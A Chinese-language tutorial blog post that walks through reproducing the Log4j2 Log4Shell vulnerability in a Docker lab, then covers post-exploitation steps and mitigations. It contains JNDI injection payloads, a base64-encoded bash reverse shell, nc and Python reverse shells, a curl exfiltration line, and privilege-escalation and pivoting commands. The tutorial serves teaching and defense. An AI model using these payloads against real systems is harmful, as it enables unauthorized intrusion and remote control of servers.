1. 项目概述与核心价值
最近几年,安全圈里能让全球开发者、运维和安全人员集体加班的“大事件”不多,Log4j2的远程代码执行漏洞(CVE-2021-44228,俗称Log4Shell)绝对算一个。这个漏洞的恐怖之处在于,它潜伏在一个几乎无处不在的Java日志组件里,攻击门槛极低,影响范围却大到没边。很多朋友可能听说过它的“威名”,但总觉得复现过程很神秘,涉及JNDI、LDAP这些术语,让人望而却步。
今天,我就以一个老安全测试人员的视角,带大家从零开始,手把手、保姆级地复现这个史诗级漏洞。我们的目标很明确:不扯虚的,只讲干的。我会把每一步操作、每一个命令、每一个可能踩的坑都掰开揉碎了讲清楚,确保哪怕你之前没碰过漏洞复现,也能跟着这篇图文教程“闭眼冲”,成功看到漏洞触发的效果。理解漏洞的原理和复现过程,不仅能加深我们对软件供应链安全的认识,更是提升自身防御能力的第一步。毕竟,最好的防御,就是知道攻击是怎么发生的。
2. 环境搭建:打造专属的漏洞实验场
复现漏洞,第一步就是搭建一个安全、隔离的实验环境。我们绝对不能在公网或者生产环境上瞎搞,最好的选择就是使用Docker容器。它轻量、快速,而且能完美还原漏洞存在的原始状态,实验完了直接删除,不留任何后患。
2.1 靶场环境部署
我们将使用一个非常优秀的开源漏洞靶场项目——Vulfocus。它集成了大量常见漏洞的Docker镜像,一键拉取启动,特别适合学习和研究。
步骤一:安装Docker如果你的系统还没有Docker,需要先安装。以Ubuntu 20.04为例:
# 更新软件包索引 sudo apt-get update # 安装依赖包,允许apt通过HTTPS使用仓库 sudo apt-get install -y apt-transport-https ca-certificates curl software-properties-common # 添加Docker官方GPG密钥 curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - # 设置稳定版仓库 sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" # 再次更新,并安装Docker CE sudo apt-get update sudo apt-get install -y docker-ce # 验证安装,运行hello-world镜像 sudo docker run hello-world如果看到欢迎信息,说明Docker安装成功。为了避免每次命令都加sudo,可以将当前用户加入docker组:sudo usermod -aG docker $USER,然后退出终端重新登录生效。
步骤二:部署Vulfocus靶场Vulfocus本身也是一个Docker镜像,我们把它运行起来。
# 拉取最新的Vulfocus镜像 sudo docker pull vulfocus/vulfocus:latest # 运行Vulfocus容器 # -d 代表后台运行 # -p 81:80 将容器的80端口映射到宿主机的81端口,这样我们通过 http://你的IP:81 就能访问 # -v 挂载Docker套接字,这是Vulfocus管理其他漏洞容器的关键 # -e VUL_IP=192.168.1.100 设置你的宿主机IP地址,非常重要!后面漏洞利用时要用到。 # 请将 192.168.1.100 替换为你运行Docker的机器的实际IP地址(如果是本地实验,可以是127.0.0.1) sudo docker run -d -p 81:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.1.100 vulfocus/vulfocus运行成功后,打开浏览器,访问http://你的IP:81。你会看到Vulfocus的登录界面,默认账号密码是admin/admin。
注意:
VUL_IP这个环境变量至关重要。它告诉Vulfocus,它管理的漏洞容器对外暴露的地址是什么。如果你在本地虚拟机里做实验,就填虚拟机的IP;如果你用云服务器,就填服务器的公网IP。填错了会导致后续漏洞利用时网络不通。
步骤三:启动Log4j2漏洞镜像登录Vulfocus后,在首页的漏洞列表里找到CVE-2021-44228 Apache Log4j2 远程代码执行,点击“启动”按钮。Vulfocus会自动从仓库拉取漏洞镜像并运行。启动成功后,你会看到一个访问地址,格式类似http://192.168.1.100:32768。这个就是存在Log4j2漏洞的靶机应用了,点击即可访问。
2.2 攻击机环境准备
我们需要准备另一台机器作为攻击机,用来启动恶意JNDI服务并接收反弹的shell。为了方便,我强烈建议你直接在宿主机上操作(也就是运行Vulfocus的那台机器)。这样网络最通畅,避开了容器间、跨主机等复杂的网络配置问题。我们的实验拓扑就变成了:宿主机既是攻击机,又通过Docker运行着靶场和漏洞应用,它们都在同一个宿主机网络内。
攻击机上需要准备两个关键工具:
- JNDI注入利用工具:用于启动一个恶意的LDAP/RMI服务,当靶机连接过来时,会指向我们准备好的恶意Java类。
- Netcat (nc):一个网络工具中的“瑞士军刀”,这里我们用它来监听一个端口,等待靶机把shell反弹回来。
安装Netcat:
# Ubuntu/Debian sudo apt-get install -y netcat # CentOS/RHEL sudo yum install -y nc准备JNDI利用工具:我们使用GitHub上star数很高的JNDI-Injection-Exploit工具。它功能全面,支持多种绕过方式。
# 1. 克隆项目代码 git clone https://github.com/welk1n/JNDI-Injection-Exploit.git # 2. 进入项目目录 cd JNDI-Injection-Exploit # 3. 使用Maven编译项目(需要提前安装JDK和Maven) # 安装OpenJDK 8和Maven sudo apt-get install -y openjdk-8-jdk maven # 4. 编译打包 mvn clean package -DskipTests编译过程可能需要几分钟。完成后,在target/目录下会生成一个名为JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar的jar包,这就是我们等下要用的武器。
实操心得:编译时务必确认JDK版本为8。高版本JDK(如11+)在编译时可能因为某些API的变化而报错。如果系统有多个JDK版本,可以用
sudo update-alternatives --config java来切换。
3. 漏洞原理深度拆解:为什么一行日志就能黑掉服务器?
在动手之前,我们必须搞清楚我们在利用什么。Log4j2漏洞的核心是“日志语句的递归解析”和“JNDI的远程资源加载”这两个机制的危险结合。
3.1 日志的“超能力”:Lookup功能Log4j2有一个强大的功能叫Lookup,允许用户在日志输出中动态插入一些值。语法是${prefix:name}。例如,${java:runtime}可以插入Java运行时信息。这本是为了方便开发者,但却成了漏洞的入口。
3.2 罪恶的“JNDI Lookup”在众多Lookup中,有一个叫JNDI Lookup。JNDI(Java命名和目录接口)是Java中用来访问如LDAP、RMI、DNS等命名和目录服务的统一API。${jndi:ldap://evil.com/obj}这个语句的意思是:去连接evil.com的LDAP服务器,查找名为obj的对象。
3.3 漏洞触发链条(最简版)
- 用户输入:攻击者向一个使用了Log4j2记录日志的Java应用提交了恶意数据,比如在HTTP请求的User-Agent头里填入
${jndi:ldap://attacker-ip:1389/Exploit}。 - 日志记录:应用代码(可能是框架或业务代码)毫无戒备地将这个User-Agent记录到了日志里,调用了
logger.info(“User-Agent: ” + userAgent)。 - 递归解析:Log4j2在输出日志前,会对日志消息进行“渲染”。它发现消息里包含
${},就会尝试去解析它。解析到jndi:ldap...时,它会发起一个JNDI查询。 - 恶意响应:攻击者控制的LDAP服务器(
attacker-ip:1389)收到查询。它返回一个“引用”(Reference),这个引用指向另一个HTTP地址上的一个恶意Java类文件(.class)。 - 加载与执行:受害服务器(靶机)的Log4j2组件会根据LDAP服务器返回的引用,去指定的HTTP地址下载那个恶意.class文件,并使用当前应用的ClassLoader加载它。
- 代码执行:被加载的类在静态代码块或构造函数中包含了恶意代码(例如
Runtime.getRuntime().exec(“calc”)),于是这段代码就在受害服务器上执行了。
3.4 关键限制与绕过漏洞的利用受限于Java版本的安全机制:
- JDK 6u211, 7u201, 8u191, 11.0.1之后:默认禁用了从远程LDAP服务加载工厂类(
com.sun.jndi.ldap.object.trustURLCodebase=false)。这直接堵死了最简单的利用方式。 - 绕过方法:利用这些版本中仍然存在的“本地类路径”进行绕过。比如,目标服务器上如果存在某些特定版本的Tomcat,其
org.apache.naming.factory.BeanFactory类可以被利用来调用任意对象的getter/setter方法,结合EL表达式处理器,依然可以达到代码执行的目的。我们后面使用的工具就内置了这种绕过方式。
理解了这个链条,你就会明白,整个复现过程,其实就是我们在模拟扮演那个“攻击者”,搭建一个恶意的LDAP服务,并提供一个恶意的.class文件,然后诱使靶机应用去触发这个链条。
4. 漏洞复现实操:步步为营,拿下Shell
环境备好,原理吃透,现在进入最激动人心的实战环节。请确保你的Vulfocus靶场和Log4j2漏洞容器已经正常运行。
4.1 第一步:探测漏洞是否存在
在发动真实攻击前,我们先做一个无害的探测,确认目标确实存在漏洞。这里我们使用一个公开的DNSLog服务来接收外联请求,这是一种非常安全且常见的探测方式。
- 访问
http://www.dnslog.cn(或类似平台),点击Get SubDomain,你会获得一个临时的子域名,比如abc123.dnslog.cn。 - 在浏览器中,访问你的Log4j2靶机地址(例如
http://192.168.1.100:32768)。通常靶机页面会有一个输入框或触发点。 - 在输入框里(或者通过Burp Suite等工具拦截请求修改参数)提交以下Payload:
${jndi:ldap://abc123.dnslog.cn/test}注意:如果参数是通过URL传递的,需要对Payload进行URL编码,变成
%24%7Bjndi%3Aldap%3A%2F%2Fabc123.dnslog.cn%2Ftest%7D。 - 提交后,回到DNSLog页面,点击
Refresh Record。如果看到一条来自你靶机IP的DNS查询记录,恭喜!漏洞确认存在!这说明靶机的Log4j2确实解析了我们的JNDI语句,并向我们指定的地址发起了LDAP查询。
4.2 第二步:启动恶意JNDI服务与监听
探测成功,现在准备真正的攻击载荷。我们的目标是让靶机执行命令,并把这个命令的执行结果(一个反向Shell)发送回我们的攻击机。
1. 准备反向Shell命令:我们需要一个能在靶机上打开TCP连接回连到我们攻击机的命令。Linux下最常用的是bash反向Shell。
bash -i >& /dev/tcp/攻击机IP/监听端口 0>&1假设我们攻击机IP是192.168.1.100,准备在9999端口监听,那么命令就是:
bash -i >& /dev/tcp/192.168.1.100/9999 0>&1由于这个命令中包含特殊字符,直接放在JNDI工具里可能有问题,我们将其进行Base64编码:
echo -n "bash -i >& /dev/tcp/192.168.1.100/9999 0>&1" | base64你会得到一串编码后的字符串,例如:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzk5OTkgMD4mMQ==
2. 启动Netcat监听:打开一个终端窗口,运行以下命令,开始监听9999端口,等待靶机的连接。
nc -lvvp 9999窗口会显示listening on [any] 9999 ...,并挂起等待。
3. 启动JNDI利用工具:打开另一个终端窗口,进入之前编译好的JNDI-Injection-Exploit工具的目录。 运行以下命令启动工具:
java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}” -A “192.168.1.100”参数解释:
-C:指定要执行的命令。这里我们使用了Bash的“管道大法”来解码并执行Base64编码的命令。{echo, BASE64_CODE}输出编码,{base64,-d}解码,{bash,-i}执行。-A:指定攻击机(我们本地)的IP地址。
工具启动后,你会看到类似下面的输出:
[ADDRESS] >> 192.168.1.100 [COMMAND] >> bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i} ----------------------------JNDI Links---------------------------- Target environment(Build in JDK whose trustURLCodebase is false): rmi://192.168.1.100:1099/exp1w2k ldap://192.168.1.100:1389/exp1w2k ...请重点关注并复制ldap://192.168.1.100:1389/exp1w2k这个链接。这个链接就是我们的“武器”,它指向了我们刚刚启动的恶意LDAP服务。工具已经为我们自动适配了高版本JDK的绕过方式(使用了TomcatBypass等技术)。
4.3 第三步:发送攻击Payload,触发漏洞
现在,万事俱备,只欠东风。我们需要让靶机去“请求”我们刚刚生成的这个恶意LDAP链接。
回到存在漏洞的靶机Web页面。我们再次向那个可以触发日志记录的参数(可能是搜索框、登录框、HTTP头等)提交数据。这次提交的Payload就是我们复制的LDAP链接:
${jndi:ldap://192.168.1.100:1389/exp1w2k}同样,如果通过URL传递,记得进行URL编码。
点击提交或发送请求的瞬间,请立刻将目光移回你的两个终端窗口。
4. 观察结果:
- JNDI工具窗口:你会看到刷新的日志,显示有来自靶机的LDAP连接请求,随后工具会启动一个临时的HTTP服务,提供恶意class文件,并记录文件被请求下载。
- Netcat监听窗口:如果一切顺利,几秒后,这个窗口会突然“活”过来,显示连接建立,并出现一个新的命令行提示符,可能是
bash-4.2$或者sh-4.2$。这,就是靶机的Shell!
尝试输入几个命令验证一下:
whoami id pwd ls -la如果都能正常返回结果,那么恭喜你,你已经成功通过Log4j2漏洞,在目标系统上实现了远程代码执行,并获取了一个反向Shell!
5. 深度利用与问题排查实录
成功弹回Shell只是第一步。在实际的安全测试或研究中,我们可能会遇到各种问题,也需要知道如何进一步利用。
5.1 常见失败场景与排查技巧
复现过程很少一帆风顺,下面是我总结的几个常见“翻车点”及解决办法:
问题1:DNSLog有回显,但JNDI工具没收到LDAP连接,NC也没收到Shell。
- 可能原因A:网络不通。这是最常见的问题。靶机容器无法访问到你攻击机的IP和端口。
- 排查:在攻击机上
ping 靶机IP,在靶机容器内ping 攻击机IP(需进入容器:docker exec -it 容器ID /bin/bash)。确保双向能通。 - 解决:检查防火墙。关闭宿主机防火墙(
sudo ufw disable或sudo systemctl stop firewalld)。如果使用云服务器,务必在安全组/防火墙规则中放行你使用的端口(如1389, 9999)。
- 排查:在攻击机上
- 可能原因B:Payload构造或提交方式错误。
- 排查:确认你提交的Payload是
${jndi:ldap://攻击机IP:1389/工具生成的路径},IP和端口必须正确。确认参数名正确,并且请求能成功触发(返回HTTP 200)。 - 解决:使用Burp Suite拦截请求,手动修改并重放,确保Payload被原样发送。查看靶机应用的后台日志(如果有权限),看是否打印了相关错误。
- 排查:确认你提交的Payload是
问题2:JNDI工具收到LDAP连接,也收到了HTTP请求(下载class),但NC没收到Shell。
- 可能原因A:反弹Shell命令不兼容。靶机环境可能没有
bash,或者/dev/tcp这个特性被禁用(如使用dash)。- 解决:尝试使用其他反向Shell命令。
- 使用
nc:nc 攻击机IP 9999 -e /bin/sh(需要靶机有netcat且支持-e参数) - 使用
python:python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“攻击机IP“,9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
- 使用
- 将新命令Base64编码后,替换JNDI工具
-C参数中的内容。
- 解决:尝试使用其他反向Shell命令。
- 可能原因B:靶机出网限制。靶机可能无法对外发起TCP连接到你的9999端口。
- 排查:在靶机上用
telnet 攻击机IP 9999测试连通性。 - 解决:尝试让Shell走DNS或ICMP等可能不被限制的协议(更复杂),或者换个思路,执行一个不需要反弹的指令,如
curl http://攻击机IP:8000/$(whoami),然后在攻击机用python3 -m http.server 8000开个HTTP服务看请求。
- 排查:在靶机上用
问题3:工具报错 “Address already in use”
- 原因:端口被占用。JNDI工具默认使用1099(RMI)和1389(LDAP)端口。
- 解决:找出占用端口的进程并结束,或者为工具指定其他端口。
- 查找占用端口的PID:
sudo lsof -i:1389 - 结束进程:
sudo kill -9 PID - 或者,使用工具的其他启动参数指定端口(需查看工具帮助文档)。
- 查找占用端口的PID:
5.2 进阶利用思路
拿到一个低权限的Shell后,安全测试人员通常会进行下一步操作:
信息收集:
# 查看当前用户、权限 whoami && id # 查看系统信息 uname -a cat /etc/os-release # 查看网络信息 ifconfig 或 ip a netstat -antp # 查看进程信息 ps aux # 查找敏感文件、配置文件 find / -name “*.properties” -o -name “*.yml” -o -name “*.yaml” 2>/dev/null | head -20权限提升尝试:
- 查看是否有sudo权限:
sudo -l - 查找SUID/GUID文件:
find / -perm -u=s -type f 2>/dev/null - 查找可写目录:
find / -writable -type d 2>/dev/null 2>/dev/null | head -20 - 利用已知的本地提权漏洞(需要上传exp并编译)。
- 查看是否有sudo权限:
内网渗透:
- 利用当前机器作为跳板,扫描和攻击内网其他主机。
- 上传代理工具(如frp,socks5代理客户端)建立通道。
重要声明与伦理提醒:以上所有技术操作仅限在您拥有完全所有权和控制权的实验环境(如本地虚拟机、VPS上的Docker容器)中进行。未经授权对任何他人的系统进行扫描、渗透或攻击,是非法的犯罪行为,必将受到法律严惩。安全技术的价值在于防御,请务必用于合法、合规的学习和研究目的。
6. 防御措施与修复方案
复现漏洞是为了更好地理解它,而理解它的最终目的是为了防御。作为开发、运维或安全人员,我们必须知道如何应对。
1. 紧急缓解措施(立即可做):
- 升级Log4j2:这是最根本的解决方案。将Apache Log4j2升级到安全版本:
= 2.17.1 (Java 8)
= 2.18.1 (Java 11)
= 2.19.1 (Java 17) 或最新版。
- 修改JVM参数:如果无法立即升级,可以添加以下JVM启动参数来禁用JNDI Lookup和消息查找,但这可能影响某些功能。
(对于Log4j 2.10及以上版本)-Dlog4j2.formatMsgNoLookups=true - 移除漏洞类:从classpath中移除
log4j-core-*.jar中的JndiLookup类。zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
2. 长期安全加固:
- 供应链安全扫描:在CI/CD流程中引入软件成分分析(SCA)工具,如OWASP Dependency-Check、Trivy等,自动扫描项目依赖中的已知漏洞。
- 最小权限原则:运行Java应用的服务账号,应遵循最小权限原则,避免使用root权限。
- 网络层防护:
- 在WAF(Web应用防火墙)上部署针对Log4j漏洞的防护规则。
- 在网络边界限制服务器不必要的出网连接(尤其是LDAP、RMI、DNS等协议),可以阻断大部分漏洞利用。
- 升级JDK:将生产环境JDK升级到较新的长期支持版本(如8u191、11.0.1之后),并确保
com.sun.jndi.ldap.object.trustURLCodebase设置为false。 - 安全编码意识:避免将不可信的用户输入直接记录到日志中。对日志内容进行适当的过滤或编码。
整个复现过程走下来,你会发现Log4j2漏洞的利用链清晰,工具化程度高,这正是它危害巨大的原因。对于防守方而言,真正的挑战往往不是修复这一个漏洞,而是如何在海量的资产中快速发现所有受影响的应用,并协调完成升级。这背后体现的是企业安全运维的体系化能力和应急响应速度。通过亲手复现,我们不仅学到了一个漏洞的利用方法,更深刻地理解了安全左移、纵深防御和应急响应预案的重要性。安全是一个持续的过程,永远不能抱有侥幸心理。